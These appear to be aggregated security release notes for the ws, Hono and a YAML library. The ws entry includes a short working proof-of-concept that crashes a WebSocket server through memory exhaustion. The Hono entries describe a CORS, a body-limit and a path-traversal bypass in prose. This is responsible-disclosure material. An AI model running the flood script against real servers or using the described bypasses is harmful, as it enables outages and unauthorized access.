8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

v4.12.25

Security fixes

This release includes fixes for the following security issues:

CORS Middleware reflects any Origin with credentials when origin defaults to the wildcard

Affects: hono/cors. Fixes the wildcard origin reflecting the request Origin and sending Access-Control-Allow-Credentials: true when credentials: true is set without an explicit origin, where any site a logged-in user visited could make credentialed cross-origin requests and read responses from cookie-authenticated endpoints. GHSA-88fw-hqm2-52qc

Body Limit Middleware can be bypassed on AWS Lambda by understating Content-Length

Affects: hono/body-limit on AWS Lambda (hono/aws-lambda, hono/lambda-edge). Fixes the request being built with the client-declared Content-Length while the body is delivered fully buffered, where a client could declare a small Content-Length with a much larger body and slip past the configured size limit. GHSA-rv63-4mwf-qqc2

Path traversal in serve-static on Windows via encoded backslash (%5C)

Affects: serveStatic on Windows (Node, Bun, Deno adapters). Fixes the path guard allowing a lone backslash, where an encoded backslash (%5C) decoded to \ was treated as a separator by the Windows path resolver, letting a single URL segment escape into a middleware-guarded subtree. GHSA-wwfh-h76j-fc44

AWS Lambda adapter merges multiple Set-Cookie headers into one value, dropping cookies on ALB single-header and Lattice

Affects: hono/aws-lambda. Fixes multiple Set-Cookie response headers being joined into one comma-separated value for ALB single-header responses and VPC Lattice v2, where the value could not be split back into individual cookies and clients silently dropped or misparsed them. GHSA-j6c9-x7qj-28xf

Lambda@Edge adapter keeps only the last value of a repeated request header, dropping the rest

Affects: hono/lambda-edge. Fixes repeated request headers being written with overwrite instead of append, where only the last value of a header such as X-Forwarded-For reached the application and the remaining values were silently dropped. GHSA-wgpf-jwqj-8h8p

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).
